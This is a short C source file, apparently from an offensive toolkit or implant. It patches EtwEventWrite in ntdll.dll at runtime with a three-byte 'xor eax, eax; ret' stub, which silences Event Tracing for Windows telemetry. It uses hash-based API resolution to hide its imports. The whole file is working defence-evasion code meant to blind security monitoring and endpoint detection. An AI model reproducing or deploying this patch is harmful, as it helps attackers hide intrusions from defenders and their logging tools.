34 lines
1.0 KiB
C
34 lines
1.0 KiB
C
|
/**
|
||
|
|
* evasion_etw.c — ETW (Event Tracing for Windows) patching
|
||
|
|
*
|
||
|
|
* Patches EtwEventWrite in ntdll.dll to return STATUS_SUCCESS (0)
|
||
|
|
* immediately, preventing ETW-based telemetry from logging events.
|
||
|
|
*/
|
||
|
|
|
||
|
|
#include <windows.h>
|
||
|
|
#include <stdint.h>
|
||
|
|
|
||
|
|
#include "api_resolve.h"
|
||
|
|
|
||
|
|
#ifdef EVASION_ETW_PATCH
|
||
|
|
|
||
|
|
void evasion_etw_init(void) {
|
||
|
|
/* Resolve EtwEventWrite lazily from ntdll (already in PEB) */
|
||
|
|
FARPROC pEtwWrite = (FARPROC)api_resolve_func(HASH_NTDLL, HASH_EtwEventWrite);
|
||
|
|
if (!pEtwWrite) return;
|
||
|
|
|
||
|
|
/* Patch EtwEventWrite to immediately return 0 (STATUS_SUCCESS)
|
||
|
|
* x64 patch: xor eax, eax; ret
|
||
|
|
* 33 C0 C3
|
||
|
|
*/
|
||
|
|
uint8_t patch[] = { 0x33, 0xC0, 0xC3 };
|
||
|
|
|
||
|
|
DWORD old_protect;
|
||
|
|
if (g_api.pVirtualProtect((LPVOID)pEtwWrite, sizeof(patch), PAGE_EXECUTE_READWRITE, &old_protect)) {
|
||
|
|
memcpy((LPVOID)pEtwWrite, patch, sizeof(patch));
|
||
|
|
g_api.pVirtualProtect((LPVOID)pEtwWrite, sizeof(patch), old_protect, &old_protect);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
#endif /* EVASION_ETW_PATCH */
|